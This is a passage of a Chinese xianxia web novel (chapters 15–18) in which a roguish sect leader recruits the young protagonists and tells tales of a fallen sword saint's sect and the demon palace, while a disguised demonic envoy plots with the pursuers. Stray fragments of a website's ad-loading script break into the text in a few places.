15 章 今歌白:“规模稍大的门派,招收弟子时几乎都有入门测验,光是这一环节,便极易揭露这小子的本质,因此这些选择皆可排除。” 梨渺咬着拇指盖陷入沉思,小门派倒是极好,省得有那么些人打扰她和师尊,只是……该去哪儿好呢? 正想着,忽听东方一阵草动,梨渺抬起头来一瞬,今歌白低声传话:“警戒。” 话音刚落,那侧林中忽然窜出一男两女,那几人显然未料到此间有旁人,见到梨渺三人时皆是一愣。 梨渺与今歌白立刻探出,那身着黑白道袍的男子已至元婴期,他左侧的冷艳美人是金丹期,略后方的绿衣少女不过是炼气期。 黑白道人略一打量,含笑开口:“此地有魔修作祟,敢问几位道友,可愿与我等一同追缴?” 梨渺瞧见那炼气少女惊慌的神色,手中无聊划弄着树枝,清脆出声:“你们不像是缴魔的,倒像是逃荒的。” 黑白道人没想到,对面的白衣真君还未发话,那一脸懵懂的粉裙少女居然先开了口,话语还如此一针见血。 他不禁在梨渺身上多留了两眼,确认她的确只是炼气期。 “呵呵,只是些金丹筑基期魔修而已,若非顾及我这两名徒儿安危,本君又何必与他们迂回。这不,恰巧遇见了阁下几位,合你我之力,定能将那些魔修尽数诛灭!” 黑白道人说得信誓旦旦,双目直望着今歌白。 梨渺:“几个魔修,值得你这般小心?” 黑白道人:“不多不多,还不足二十个!” 冷艳美人睨了道人一眼,对他圆滑的嘴脸透出一分鄙弃。 今歌白似笑非笑,“抱歉,我等并不打算趟这浑水。” 又一阵风声传来,黑白道人凝神侧耳,静听片刻,道:“来不及了!兄台既不愿出手,便帮在下壮个声势,待吓退那帮子追兵,在下必有重谢!” 道人说着便提起身边两位女修,纵到了今歌白身旁,转身刹那,后方众多筑基金丹期魔修如倾巢蜂蚁,纷纷亮出身形。 梨渺咯咯笑了笑,对身旁少年说道:“我说的没错吧,他们就是逃荒的!” 穆忘朝抿唇拢眉,略显担忧,这黑白道人一跳,硬是将他们拉成了同伙,他却不知元婴期与金丹期究竟差距几何,究竟能否如道人所说避开一场恶战。 追来的魔修们见到六人,及时停下了步子。 “……竟还有高人!” 前方几个领头的魔修窃窃私语。 “那白衣的境界亦在我等之上,对上两个元婴期……胜算甚微!” “可弄丢了大人要的东西,你我无一例外都得受罚!” “等等……那人是……” 领头魔修忽然看清了今歌白的脸,顿时面色瞬息万变。 今歌白冷淡注视着来人,瞧见对方神色突变,他阴沉压低了眼睫。 “!!” “先行撤退!” 领头魔修暗中下令,十多号金丹高手与筑基魔修齐齐遁走身形,转瞬消失了气息。 威胁走远,黑白道人挺直腰板飘然而立,潇洒挥动拂尘,笑道:“多谢兄台出手相助。” “这也没出手呀。”梨渺小声嘀咕道。 今歌白双臂环胸,撇开嘴角冷笑。 “阁下方才的本意,不止是要借刀杀人,还想祸水东引罢。” 黑白道人眸光透露精明,对今歌白的指责却不以为意。 “看来兄台也已认出,那些都是魔宫的人。虽说魔宫势大,可越州与焱州南北相隔,天高皇帝远的,诛它几个魔修又有谁能追认。” “我只愿与兄台共肃奸邪,弘扬正道,绝无引祸之意!此心天地可鉴!” 道人高举拂尘,神色坚诚如有神明作证。 只是他身后那两个姑娘却同时别过了身,那金丹期的冷艳美人还不合时宜地翻起了白眼。 “魔宫?便是白哥哥方才所讲的渡火宫么?” 梨渺这会儿才从地上站了起来,手上还拿着那截干树枝。 今歌白还未开口,道人便煞有介事地说道:“不错!那渡火宫大能众多,高手如云,便是仙道第一大派天衡宗都不敢轻易招惹!但若有今日这般神不知鬼不觉拔其鸟羽的机会,想必那些大派高人亦不愿错过!” 今歌白侧去身,并无搭理之意。 一旁的绿衣少女蓦地出声:“原来大师姐说得没错,师父出门在外竟是这般油嘴滑舌,差点都叫我忘了方才逃窜时有多狼狈。” 冷艳美人面无表情,语气更是冷淡:“丢人现眼,不如方才与魔修一拼了事。” 黑白道人被拆了台,也仍是一脸的理直气壮,他拿拂尘说教般点了点二人,语重心长道:“若非你二人在,为师又何必躲闪,还不是舍不得叫我的宝贝徒弟见血,啧啧……一片舐犊之情,叫你们说得如此不堪。” 冷艳美人轻嗤一声,“说到底,还是怕老马失蹄,惹火上身。可只要东西还在你手里,便摆脱不了魔宫视线,他们迟早还会找上门来。” “东西?”梨渺面露好奇,“你们在争何物?” 黑白道人:“是一枚药材,名贵至极,本君搜罗许久方在这山中寻得,不想刚采到手,便被魔宫盯上,一路周旋未能甩开,好在遇上了几位。” “缘分难得,几位这是往何处去?不若结伴同行?” 今歌白睨向他笑呵呵的脸,明眼人都能瞧出,此人是看中他元婴期修为,仍想拿他作挡箭牌。 他对护送他人不感兴趣,但对那群魔修争夺的东西倒是有些在意。 “我们要去修仙问道!”梨渺大咧咧说道。 黑白道人看了眼地上的五州简易舆图。 “噢?这么说两位小友还未有师承,若本君猜得没错,二位正在考量,该去往何处修道,是与不是?” 穆忘朝双目明澈,姿态端正,温和道了声“是”。 “巧了。” 黑白道人掐起三清指,衣摆轻扬,端的是仙风道骨。 “本君乃唯我派掌门靳无常,二位入我门下,便当我报了这位兄台的恩情罢。” 穆忘朝稍稍一顿,若有门派不经测验便可收他,他少了暴露身份 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的风险,不必连累渺渺,如此定是极好。 可方才见这掌门的言行与弟子的态度……也不知这唯我派的分量,究竟是否可靠。 “唯我派?没听过。”梨渺摇头。 今歌白谑笑:“近些年的确听说江湖上新起了个唯我派,打着唯我独尊的旗号,却无甚建树。” 何止是无甚建树,简直是毫无作为。掌门招摇撞骗,收徒如流水,却从不亲身教授,弟子浑浑噩噩,活脱脱一盘散沙。 如此漏洞百出的门派,或许正是上选,对阿渺足够安全,亦可扼制穆忘朝成长,再好拿捏不过。 “哎,本派成立不过三百年,比不上名门大派实属正常,然本派弟子众多,门类丰富,各有千秋,有朝一日定能在江湖上博得一席之地。” 靳无常泰然自若,抚着光洁的下颏,精明看着面前的少男少女。 “二位可愿?” 穆忘朝眉目认真,“敢问前辈,我等加入贵派,可修习哪般本事?” 靳无常:“吾有藏书千万,囊括万象!鄙人不才,诸武略通,小友能习得何技,全凭尔之所念。” 少年双眉顿抬,藏书万千,这又恰合他心意! 冷艳美人看这少男少女皆是眸中放亮,她冷不丁打断道:“这位掌门素来怠于教导子弟,同门修行皆靠自身,大多落得个百年无为。奉劝二位小友,三思而后行。” 梨渺闻言,竟更加满意,连掌门都撒手不管,便更无人来打搅她与师尊了。 “阿朝天资过人,不必担忧,何况还有我呢。”梨渺附在少年耳畔悄声说道。 气息撩人,穆忘朝顿时酥了半身,他目光闪烁着看了她两眼,腼腆低下脸去。 无意惹得少年这幅反应,梨渺心下甜蜜,似偷吃了糖果。她含笑看向道人,“医术、毒术也能学吗?” 穆忘朝微怔,倏地看向梨渺。 她要学医毒之术,莫非也是为了他…… 靳无常薄唇轻勾,自纳戒中搜罗出一本厚重的旧书举在身侧。 “小姑娘,拜入我门,这部《百毒详解》便是本君的见面礼。” 梨渺张了张眼眶,着实有些心动。 她看向今歌白,笑盈盈问道:“白哥哥以为如何?” 今歌白垂睫淡笑,“阿渺心中已有了答案,我也认为……并无不妥。” “阿朝。”梨渺轻扯少年袖口。 穆忘朝抿着唇沉思良久,冷静开口:“晚辈尚需考虑。” 梨渺诧然,“为何?这对你我而言,皆是良机。” 穆忘朝看向梨渺,牵唇淡笑。 “学堂如家,我虽为未竟之事心切,却不想随意抉择,拖累了你。” 梨渺眸光颤动,闭唇沉默。 她并不在意什么声名什么风气,她只想让他与她寸步不离,栖身之地究竟能带来几分利益,又有何关系。 可师尊似乎并不这么想。 为了一个虚幻的目标,他可以时刻谨慎,并为之倾注心血。 她要做的,便是养护好这谎言织成的网罩,陪他一直演下去。 16. 第 16 章 “看来,小友是对这本君抱有防备之心啊。” 靳无常摇头叹气,略露憾然。 “无妨,相处久了,诸位定能知晓本君的一片诚心。” 梨渺:“可我们还未答应与你结伴同行呢!” 靳无常看向今歌白,“噢,几位打算往何处去?” 今歌白随口道:“云城。” 靳无常抚掌而笑:“巧了,我派在越州的据点恰在云城附近,五百里路途遥远,炼气期无法御器,崇山峻岭连篇,又常有凶恶灵兽拦路,行路颇难。你我结伴,也好互相照料则个。” 梨渺撇了撇嘴,心道要是没有他们这些外人,她便不必隐藏境界。御剑捎上阿朝去那什么云城,也不过半日的事。 今歌白冷淡扯起唇角,“不无不可,若遇凶兽,对你二人而言,亦是历练之机。” 他注视着梨渺的眼睛,对她递出眼色。 梨渺恍然大悟,师尊怕是担心靳无常秉性,若这一路同行能让师尊放下心,他便能心甘情愿加入唯我派了。 “嗯嗯,不无不可,不无不可。”梨渺连连点头应和。 她相中了唯我派的无为而治,却不知今歌白亦抱着同样的想法,只是侧重略有不同罢了。 穆忘朝脑中念的却是“历练”二字,他从未面对过危险,若总由渺渺御剑载他,必定会错过实战机会。 为了能够达到仇人的高度,他不仅需要掌握更多本领,更需要精进战斗技巧,熟练应对于战场之中。 “我遵从渺渺的选择。”穆忘朝温声道。 梨渺两眼弯成月牙,这说法她喜欢,是傀儡对主人应有的态度。 靳无常得偿所愿,畅快笑了几声。 “说了这般久,还不知几位姓名呢!” “今歌白。”今歌白出言简短至极。 梨渺挽住穆忘朝的手臂,“我叫阿渺,他是阿朝,穆忘朝。” 在他人面前被梨渺如此亲近,穆忘朝面色微赧,强作镇静道:“见过诸位。” 二人的互动看得对面那绿衣少女一脸的好奇,她也跑去挽住了冷艳美人的袖子,笑嘻嘻道:“我叫悉星河!唯我派弟子排行一百九十六,这位是我大师姐迎真!” 迎真略一颔首,双目清冷。“幸会。” “天色不早了,不如就地扎营,明早再赶路不迟。” 靳无常说着便开始搜罗附近的枯枝。 穆忘朝见状说道:“晚辈也去寻些柴火来。” 他走向远处,梨渺便顺势跟在他身边离开。 与众人相隔足够远后,穆忘朝停下步子,转身看向梨渺,眼神无比认真。 “渺渺,你修习医毒之术,可是为了我?” “嗯!”梨渺大方点头。 少年目光触动,握拳垂下眸,低声道:“怪我不够强大,处处都要渺渺费心。” 梨渺摇摇头,牵过他的手,娇媚笑道:“缺失魂魄,又如何怪得了你呢,阿朝这脆弱的身子,正需我来怜爱。” 听惯了她语出惊人,穆忘朝此刻也不似初时那般窘迫了。他无奈牵起唇角,眸光渐柔。 “忘朝不胜感激。只是,我更希望渺渺的目光不止停留在我一人身上。” 梨渺神情微滞,拧起秀眉质问道:“你在拒绝我?阿朝厌烦我了么?!” 少女语气剧变,又现当初那阴暗可怖之面,穆忘朝如今直视这双眼,心内那份恐惧仍不可抑制地浮现。 他平缓呼吸了两番,没有似曾经那般避开眼神,而是谦和反握住了她的手。 “不,我只是觉得,自己一人之身,不足以承受渺渺的诸多心血。” “我希望渺渺不止看着我,还会看着自己,看着他人。达则兼济天下,若渺渺为我所习医术,可兼用于为天下人救死扶伤,我便不再只是负累,即便是死也无憾。” 梨渺怔怔舒开神色,一晃之间,她彷如又见到了白衣剑尊清冷仁慈的眼。 为何师尊都忘了过往,却还记得这些话,即便成了傀儡仆从,也不忘教导于她。 梨渺蓦地眨眼回了神。 她忘了,他就是他,尽管气质未成、心性稚嫩,品性却始终未变,过去师尊的言语,现在的师尊自然也会说。 梨渺瘪起了嘴,颤着唇委屈道:“你不许说‘死’这种话。” 穆忘朝微愣,没想她呆了半天,在意的竟是最后一句。 他哭笑不得,抿唇轻语:“不会死的。” “嗯。”梨渺点头,别扭的像个受安慰的孩子。 梨渺嘤唔一声,低眉垂眼的,像极了淋雨的小狸奴。 穆忘朝看着心软,安抚般捏了捏她的手指,微笑道:“我去拾柴火。” 少年弯腰拾柴,梨渺呆立了一会儿,也去捡树枝,学着他的模样,将干柴拢到臂弯里。 穆忘朝见了,下意识张眸出声:“你这样,会弄脏衣裳。” 梨渺轻轻嘟嘴,“明明阿朝也是这般做的。” 穆忘朝略微闪躲了目光,支吾道:“我穿得素,之后洗洗便是了,你……的衣裳这般精美娇艳,若沾染了泥土,该有多遗憾。” 闻言,梨渺不禁动容,她呆讷了片刻,兀的说道:“我也能洗的!我要和阿朝鸳鸯浴!” 少年蓦地呛住,他匆忙看向周围,好在旁人都隔得远,并未听见梨渺的胡言。 他赧然看向梨渺,压低声音:“这类话,还是莫再……” 他卡了个壳,及时调整了语句。 “还是小声些说罢。” 说完,少年别开脸,闷头拾柴。 梨渺歪头偷瞧他的脸色,忽觉有趣,她袅袅凑了过去,狡黠道:“阿朝莫不是害羞了,放心,共浴之时,我定避开旁人。” 穆忘朝看向这近在咫尺的俏脸,只觉荒唐又无奈。 “我不是那般意思……” 梨渺盘玩起鬓边发,慢悠悠出声:“难道你喜欢让人瞧见?唔……可我不愿,阿朝的肉身,只能我一人观赏。” “……”少年羞愤抿了抿唇,低嗔道:“莫想那些了!” 梨渺虚掩上唇,暗暗笑得欢喜。 穆忘朝看她那出神又欢愉的模样,心中又揉起一团乱麻,她该不会当真在想着那副情景…… 揣测着,他脑中也蓦然浮现那并不存在的场面,他顿时吃了一惊,忙摆了摆脑袋,将那香艳之景抛了出去。 梨渺为自己的天才设想感到无比惊喜。 她从前怎就未想到要和师尊做这种事? 待到无人打扰时,她定要将师尊拽入池中,好好玩耍一番。 天色将深,靳无常掐诀使术点了个火,自己扬腿坐在搬来的大石头上,甩着拂尘优哉游哉。 迎真与悉星河刚搭好了帐,迎真安静走到火堆旁盘坐不语,悉星河则凑到梨渺身边坐下,从乾坤袋中掏出一包糕点,展开递到梨渺面前。 “饿了吧? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是果仁酥,很好吃的!” 梨渺眨眨眼,拿来一块放到嘴里,木讷地挪动眼仁看向绿衣少女,定定看着她的脸。 “谢谢你。”她齿间咬着点心的一端,说得囫囵不清。 悉星河俏然展颜,露出齐整的半口糯米牙,眸中当真有辰星闪烁。 她伸长了手臂,热心将糕点递给梨渺右侧的少年。 穆忘朝顿了顿神,礼貌微笑:“谢谢,我不用。” 悉星河诧异歪头,“你应当和我一样尚未辟谷,我逃了半天,肚子都饿瘪了,明早还要赶路呢!” 穆忘朝目光落在油纸包中的精致糕点,芬芳、色泽,无一在勾引着食客的口腹之欲。 浓长的睫羽在夜下遮掩落寞,少年扯了扯唇角,道:“我吃过了。” 悉星河讪讪收回了手,耸肩道:“好嘛,那就不勉强你了。” 梨渺顺手在她撤回糕点的途中又夹起一块塞进嘴里,咬得酥脆作响。 悉星河颜开二度,给自己喂了果仁酥,欢喜道:“喜欢便多吃点儿!我袋中存了可多呢!” 梨渺喜爱舌尖甜津津的感觉,看着绿衣少女热情明媚的小脸,她忽然有些愣神。 悉星河见她一边嚼个不停,一边还目不转睛地盯着她,她逐渐感到局促。 “阿渺姑娘,你怎么一直看着我?” 梨渺咽下口中食物,明目如透玉。 “你给我吃糕点,你是好人。” 悉星河呼吸一卡,险些噎住,她顺了顺气笑道:“给你好吃的东西,便是好人了?” 梨渺垂落眼睫,笑容腼腆。 “嗯,从前主动给我糕点吃的,都是好人。” 静如冰塑的今歌白此时方动目光,落在梨渺身上,变得出奇柔情。 悉星河:“不主动的呢?” 梨渺坦然点头,“不主动的人,见我便驱赶,我只好自己夺过来。” 听者愕然,穆忘朝怔怔抬起了眼,仰卧在石上的道人与闭目静养的大师姐也默然投来了目光。 如此漂亮可爱的小姑娘,怎会遭人驱赶呢?悉星河心中有万个不解,心中认定梨渺儿时定过得十分可怜。 “夺过来,然后呢?”悉星河关忧问道。 梨渺半块糕点停在嘴前,她回想曾经在凡界市井流浪的日子,那时候的人们最不愿见到脏兮兮的乞儿在门前游荡,洗衣的妇人见着便拿捶衣棒轰赶,结伴玩耍的孩童会大笑着把鞠球踢到她们的头上,练靶似的朝她们扔石子。 与她结伴的病丫头身上总是有着淤青,可梨渺不同,她的伤永远留不到第二日。 一日事变,时常施舍她二人食物的老妪病走了,镇里人将老妪丢到火中,然后将骨灰埋到了山里。 病丫头几日都未讨来吃食,饿成了皮包骨,她看见那些男童手中的糕点,跪在他们面前,乞求施舍。 男童们将她踢倒,揪着头发大喊大笑。 那时的梨渺看着病丫头埋在地上哭花的脸,低头摸上自己的肚子,只觉得里面又空又难受。 于是,她也捡起了石子。 然后一颗颗砸进了男童们的头盖骨。 看他们哭得满地打滚撕心裂肺,梨渺呆呆站在原地,胸中陌生的感受令她疑惑。 那是她有记忆以来,第一次感到快乐。 夺来的糕点味道,比过去吃过的都甜。 “……然后,吃得很满足。”梨渺回答道。 17. 第 17 章 梨渺看着绿衣少女,眸光却缥缈无定,好似穿透了她的双眼,在看着另一方风景。 “那是我的同伴临终前,吃的最后一次饱饭。” 病丫头最终还是没能熬过病痛。 她学着镇里人的模样,将病丫头抱进了火中,最终与山林土地融为一体。 没头没尾的话语,却让悉星河听得一阵鼻酸。 她瘪着嘴眼波盈盈地看着梨渺,出声沙哑颤抖,几乎到了可笑的地步。 “阿渺姑娘,你过去一定过得很苦吧。” 梨渺轻轻歪头,圆眼空洞又迷茫。 悉星河吸了吸鼻子,明媚笑道:“没关系!苦都在过去吃过了,以后的日子定是坦荡无阻!” 梨渺蓦地颤了颤睫羽,她好似从未见过这般爽朗的笑颜,好似晨曦破朝雾。 她呆讷地牵起唇角,笑吟吟道:“我听信了。” 悉星河稍稍怔住,本以为这粉裙小姑娘已是绝顶的漂亮了,没想到笑起来又好看了数倍。 梨渺眨眼看向悉星河手中的果仁酥残垣,乖巧问道:“我可以再吃一块吗?” 悉星河笑起两弯新月,“我们在一起的时候,你想吃多少都行。” 穆忘朝静默看着梨渺的侧脸,心内如食了生柿子般隐隐酸涩。 她从未透露过,自己曾有过食不果腹的经历。 那或许都是她踏入仙道前的事了。 尽管只是寥寥两句,他却从她眼中看到了惨白褪色的画卷,不忍细观。 渺渺姑娘心性古怪,有时对他偏执又霸道,但她并非恶人。 他能从她只言片语间,知晓她抢夺他人食物只为自己与友人生存,可他仍无法推出,他之于她,究竟有何等意义。 “阿渺,你看着和我外貌年龄相近,你多大了?”悉星河好奇问道。 梨渺启了启唇,转头看向穆忘朝。 “阿朝今年几岁了?” 穆忘朝倏地回神,“……十七。” 梨渺又看回悉星河,“我也十七岁。” 穆忘朝:“……” 她要陪他入仙门,伪装成炼气期也便罢了,缘何年纪也要假装与他一模一样。 “我刚满二十,比你稍长几岁,那我便是姐姐了,日后你们入了唯我派,这声师姐也叫得不亏!”悉星河笑嘻嘻说道,仿佛笃定他们必会成为同门。 今歌白看着梨渺与那刚相识的小姑娘来往甚欢,他忽而惝恍。 或许那才是寻常女儿家应有的模样。 他看得入神,飘摇的火星模糊在二人之间,正像饰物点缀。 今歌白轻眯双眸,无意扬起了唇角。 他偏偏喜欢她的不寻常。 懒散听了半晌的靳无常也露出一丝笑意,他的一百九十六徒儿如此上道,主动为宗门开枝散叶,不像他的大徒弟,不帮忙也就罢了,还偏要与他唱反调。 静坐中的迎真仿佛听到了靳无常心中所想,幽幽睨来目光。 靳无常若无其事地举头环望,观月观星,最终观到了今歌白的嘴角上。 他若有所思,旋而轻笑一声。 “我瞧今兄道行高深气度不凡,不知师出何门啊?” 今歌白顿时敛了笑意,垂目坐正,随手捋平了衣前摆。 “吾师早已仙逝,出身并不重要。” 靳无常沉吟片刻,慨叹道:“今兄是个洒脱之人。” 他又转向穆忘朝,和蔼发问:“二位小友从何处来?” 穆忘朝略一思索,“凡界。” “嗯嗯。”梨渺点头敷衍。 靳无常目露讶然,“跨界而来,实属不易,想必两位对这修真界还所知甚少,本君对五州之事倒是颇为了解,若想听,可同你们讲讲故事。” 穆忘朝闻言坐正了身,翘首以盼。 梨渺也撑着脸颊,满眼期待。 “我也要听!”悉星河喊得脆亮,当即转了坐向,兴趣盎然。 靳无常翘起一只腿跨在身侧,歪身将胳膊撑在膝上,拂尘一扫,清风自来。 “几位小后生,想听点什么?” 穆忘朝:“门派奇闻。” 悉星河:“才子佳人!” 靳无常:“好好好,这要讲起来,七天七夜都说不完!嗯……那我便从这越州讲起。” “越州因地接凡界,散派众多,大多在江湖上连名字都叫不上,然就在此般偏狭之地,却出了个五州闻名的小派——清、净、门。” 靳无常一字一顿,摆足了说书先生的架势。 梨渺眸光忽地一荡,袖中手指缓缓缩起,抓紧了大腿上的小片裙摆。 “我知道!清宵剑尊一手创立的门派!”悉星河爽朗道。 梨渺幽幽将目光移向穆忘朝,他脸色寻常,并无反应,她松开了袖中手,泰然回头。 “说起剑道之极,谁人不知清宵剑尊!传说他三百岁元婴,七百岁化神,此般天资前所未有!一手指天月,一剑山河清,年纪轻轻便威震五州,所到之处,奸邪莫敢作乱!” 靳无常高举拂尘,说得慷慨激昂,仿佛那拂尘便是昔人手中剑。 “想当年,多少世家大派欲揽他为门客,他从不为荣华所动,出师后独自行走,直至入了化神,方收了第一个弟子。” “之后,弟子有了两个三个,他便落定越州,建了清净门,存世千余年,门人竟还不足二十人,还不如一个寨子大呢!” “可世人景仰清宵剑尊啊,门派再小,也有无数人梦想进入其中,承其剑术,惩奸除恶,仗剑天涯。可惜剑尊素来随缘,收的还都是些孤苦无依的可怜人,旁人便只能望山兴叹咯。” 悉星河听得起劲,转头对梨渺说道:“没错!我便是因为清宵剑尊,才想习剑的!” 梨渺略微昂起下颏,情绪在眉眼间凝成了一潭死水,她歪头注视着少女,出声轻轻:“你见过他?” 悉星河抱起膝盖,身子微微晃悠。 “当然没有,清净门都覆灭三百年了,我是在长辈的故事里听到剑尊之名的,我家中还藏有他的画像呢!” 梨渺瞳孔轻缩,眸光微妙地暗了下去。“画像?” 悉星河并无所觉,她飞快点头,理所当然道:“那可是清宵剑尊呀,仙人之姿,俊美无双,是修士榜样,更是女子梦中情郎!” “可惜他立派后便鲜少出山 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,远在禹州、金州的人们大多未曾见过他的模样,于是他的画像便在北方流传得极广。我是金州人,邻里街坊几乎家家都收有他的画像,我阿娘可稀罕了,阿爹吃醋,闹着求她别把画挂在床头!哈哈!” 靳无常大笑:“别说是仙道了,焱州那魔修聚集的地方,也没少流通!” 梨渺听着,眼里阴霾渐散,绿衣少女说到最后时,她的眼角也攀上了一抹悦色。 骗师尊改头换面,当真是明智之举,她怎能料到,能揭穿他身份的不止有见过他的活人,竟还有流散四处的画像。 “清宵剑尊的画像,当真也是天人之姿,俊美无双么?”梨渺单手捧着下颌,眼波碎亮。 师尊的模样印在纸上,定然别有一番风味,她日后见到,定然收来。 只是去往北方时要格外小心,可不能让师尊看到那些东西。 悉星河用力点头,杏目睁得奇大,“嗯!悔我未生得早些,我也想亲眼领略那位大人物的风采啊。” 她也托起下颌,满眼憧憬。 穆忘朝看看悉星河,又看看梨渺,二人的神情简直如出一辙。 他纳闷地抿了抿唇,心中莫名低沉,好似压了片稠云。 少顷,他打破了沉寂。 “如此风云人物,又怎会被灭门?” “诶!这便是一桩奇事了!” 靳无常夺过话头,故意吊起胃口。 梨渺身体略僵,她有一下没一下地用指甲抠弄着剑柄花纹,眼比面先抬,直勾勾盯向大石上的道人。 一个元婴,一个金丹,还有一个炼气不值一提。 她能杀得掉。 靳无常忽而颤了颤眼角,狐疑看向梨渺。 这小姑娘,怎会冒出如此凌厉的杀气。 “唉,看来有听客对本君卖的关子感到不耐了,那我便不拖沓了。” 靳无常无视梨渺的眼神,淡定换了个姿势。 “三百年前,清宵剑尊修为至化神顶峰,引来九霄雷劫,要知道,自元婴至大乘,每突破一个境界都需经历雷劫淬炼,且成倍猛烈、步步难行!迈入渡劫何其艰难,历史上多少化神大能最终都折在了天雷之下!” “彼时,世人都道清宵剑尊天资非凡又功德圆满,定能扛住那雷劫,立于修真界之巅,可没想到……!” 靳无常略略凑向梨渺的方向,林鸮般瞪大了眼。 “清净门内腥气漫天,旁人破入山门时,只见广场之上血流成河,人躯四分五裂,众人东拼西凑勉强凑出了十七具尸体,而那位清宵剑尊自此消失无影,再未出现于这天地间!” “啪”的一声,靳无常手背砸入掌心,似拍响抚尺,时机恰到好处。 梨渺忽然困惑,清净门弟子十九人,她自是不在其中,为何会只剩下十七具尸体。 靳无常幽然放低了语调,如风吹烟漫,轻易又勾走了梨渺的思绪。 “无人知晓清净门众人因何而死,消失的清宵剑尊究竟是为雷劫灰飞烟灭、还是畏罪潜逃隐匿世间,至今仍是未解之谜。” 悉星河:“清宵剑尊才不会畏罪潜逃呢!那般高尚之人,决不可能屠杀自己门下弟子!” 18. 第 18 章 靳无常轻笑,“说得在理,可即便世人大多信他的为人,可毕竟死无对证,无论多离奇的猜测,都是压不住的。” 梨渺怔怔垂下了头,杀意似水中滴墨一般一触即散,飘摇晃荡,不知成了什么滋味。 若她永居世外,她便不会知晓,世人是这般揣测师尊的。 师尊一生清誉,因她而染了污点。 好在……好在他们并不知晓凶手是谁。 只要能让真相永远埋藏下去,即便世人误解又有何关系。 清宵子已死,只需她一人念他顾他、好生爱他便足够。 “渺渺,你怎么了?”穆忘朝见梨渺神色空洞,好似离了魂,不禁关忧问道。 梨渺呆呆转向他,缓缓提起嘴角,绽开一个亲切无比的笑。 “我会小心翼翼,不让你被他人伤害。” 穆忘朝微愣,讪讪笑了笑,“怎么突然说起这个。” 梨渺但笑不语。 悉星河撇着脑袋盯着二人,眼珠动得飞快。 靳无常随意把玩着拂尘,视线落在粉裙少女的头顶。 这丫头着实古怪,怕是没那么简单。 “穆小道友,这可算得上你想听的门派奇闻?”靳无常轻佻出声。 穆忘朝抬面微笑,“是,前辈讲得十分精彩。” 他嘴角渐落,垂眉低声:“只是这个故事,实在令人唏嘘。” 靳无常潇洒仰头,“怪事常有,悲戚常在,这才是修真界。” 月明星稀,在火焰毕剥声中,几人听着靳无常从清净门覆灭讲到盛月坊情事,从天衡宗夺权之战讲到世家大族兴衰,不知不觉,已月上中天。 “今儿个也不早了,小家伙们是想就此歇息,还是接着听故事?”靳无常含笑看着悉星河。 悉星河双眸映光:“要听要听!” 靳无常抖了抖外袍故作姿态,“这口干舌燥的,怎么也没人给本君递口水喝?” 悉星河当即识趣地翻起乾坤袋,还没寻到水,始终无言的迎真大师姐沉默走上前,冷脸将水袋递到靳无常眼前。 靳无常坦然接下水,笑眼眯眯,“大徒儿偶尔还是懂得孝敬的。” 迎真转身坐回原地,梨渺清楚看见她转身时蔑然撇了下嘴角,丝毫未加掩饰。 这对师徒的关系,还真是与众不同,至少她便从未见过哪位同门敢对师尊不敬。 “那本君今日便再讲一处,焱州渡火宫,也就是世人所称的魔宫。” 靳无常大口灌了水,挥袖道:“这渡火宫宫主汝元可了不得,既无家族传承,又无天赐血脉,资质也不甚出挑,竟凭一己之力夺得魔宫魁首!修为之高,苍天之下,万众之上。” “焱州那地方可不太平啊,众魔门势力对渡火宫俯首,可无论渡火宫内外,都时刻充斥着纷乱。汝元登上魔尊宝座后,便大张旗鼓地攘外安内,清洗了魔宫内部近半成员,培养大量新人。” “之后,她挑选出新人中的佼佼者,与可信的旧族部下组成了一支直属于她的隐秘队伍,号称‘七星使’。” “这七位使者各为一营统帅,在修真界中各司其职,无人知晓他们真实面貌,据说担任七星使之人,至少都是元婴期的高手,其中化神渡劫期大能甚至过半数,你们可知这是何等威势?” 梨渺与悉星河齐齐摇头。 靳无常食指点着石头面,语气郑重:“当世修真界人口数万万,仅有渡劫期大能四人,化神期大能二十八人,光一个渡火宫,渡劫期便占了两位!这便是仙门诸派不敢轻易讨伐魔宫之根因!” “哇……如此看来,这魔宫当真是无法无天了!师父你若身在魔宫,都不知会排到什么地位呢!”悉星河愕然感慨。 靳无常眯眼抖着拂尘指向她,“去去去,为师一生正气傍身,从不沾染魔道!” 两人拌着嘴,今歌白默然起身,幽幽往后方走去。 梨渺疑惑回头,忍不住唤道:“白哥哥,你去哪儿?” “去附近探查一番,省得你们在松懈之时,被狗咬上。” 今歌白凉声回应,而后头也不回地走远。 “这位前辈真是好生谨慎,我受教了。” 悉星河小声对梨渺说道,生怕自己的话被对方听见,那白衣真君一副生人莫近的模样,看着便叫人害怕。 梨渺嘟着嘴扭回脑袋,认可点头,“白哥哥向来办事周全。” …… 远离了欢乐场,周围一切都变得寂静无比。 今歌白于林间止步,斑驳树影遮掩了绫罗白衣,他缓抬双眼,瞳比夜色更深。 忽来叶声轻响,一人影跃下树梢,半跪于今歌白身后,低声礼敬道:“见过开阳使。” “你们果然还留在此处。” 今歌白抱着双臂,轻飘飘出声。 他转过身,俯睨着身后男子,其人正是白天那批魔修的领头者。 “尔等是谁人部下?” 金丹魔修:“回大人,属下听命于玉衡使。” “玉衡使……” 今歌白眯了眯眼角,泄出一丝轻蔑。 他悄然将情绪掩了去,凉笑着问道:“他为何想要那个东西?” 金丹魔修抬面看了他一眼,便匆忙落下。 “玉衡使大人只命我等,须取得丹霞玉琼,至于原因……我等不知。” 原来双方争夺的药材,是丹霞玉琼。 今歌白右手轻握抵在下唇,暗自思忖,丹霞玉琼通气化血,对治疗尸厥、离魂之症皆有大用。 当初他那同期靠邪术偷袭夺得玉衡使的位置,如今看来,是恶报到了。 今歌白轻抬嘴角,心底一阵爽快。 金丹魔修试探瞧了眼白衣男子的神色,谨慎道:“属下不知开阳使大人与那几个盗宝之人乃是旧识,还请大人通融,好让我等与上头交差。” 今歌白淡淡俯视着他,“盗宝之人?” 金丹魔修忽而激动:“不错!我等在留风山蹲守数月,才等来那唯一一株丹霞花结出玉果,刚一到手,不知怎的,便被那元婴道人偷去!” “我等一路追赶三百里,方到了此地。” 那唯我派掌门果然坑蒙拐骗满口虚言,算不得正道。 如此甚合他意。 今歌白思索少焉,悠然落下手。 “本君不便出手,却也不会对尔等来袭坐以待毙。明日本君会借故离群,之后,便看你们自己的本事。” 